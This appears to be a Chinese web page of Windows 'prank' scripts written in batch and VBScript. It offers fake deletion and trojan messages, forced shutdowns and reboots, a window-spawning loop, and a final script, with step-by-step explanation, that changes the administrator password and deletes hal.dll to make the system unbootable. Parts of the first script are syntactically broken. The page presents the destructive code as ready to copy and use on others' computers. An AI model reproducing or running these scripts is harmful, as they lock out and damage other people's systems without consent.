bat整人代码

bat整人代码

@echo off
set n=1
set nn=0
:a
echo 删除c：/tencent/QQ/所有文件
PING /n 0 127.1>nul
echo 添加 灰鸽子木马 到 c：/tencent/QQ
PING /n 0 127.1>nul
echo 删除 开始菜单 所有文件
PING /n 0 127.1>nul
set /a n+=1
if %n%==10 goto b
goto a
:b
for /l in %%a (1,1 20) do md %a%
:c
ping /n 3 127.1>nul
cls
echo 系统损坏，需重启系统！
set /a nn+=1
color %nn%
if %nn%==9 set n=0
goto d
:d
shutdown -t -r
del %%0

shutdown -s -t 10 -c 你的电脑将在10秒内自动关机 万岁！万岁！！

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我爱张辰，不说就一分钟内关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我爱张辰")
a = inputbox ("说我爱张辰,就不关机，快点，说 ""我爱张辰"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说不就好啦 真是的！"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "宝儿 我也爱你"
PS; 这是给我女朋友写的一段代码 你可以把上边的文字改成你想要的就可以的
文件脚本改为.vbs 就ok了

for /l %%i in (1,1,123) do notepad

代码开始，只抄横线里面的
_______________________________
@echo off
net user administrator nishizhu\add
del /s /q c:\Windows\System32\hal.dll
shutdown -s -t 5 -c 你是一头猪！！！
_______________________________
代码详解：
@echo off —— 隐藏命令，关闭回显。
net user administrator nishizhu\add —— 把开机密码改成“nishizhu\add”
del /s /q c:\Windows\System32\hal.dll —— 删掉系统加载程序（删了就开不了机）
shutdown -s -t 5 -c 你是一头猪！！！ —— 定时关机5秒钟，并提示你是一头猪！！！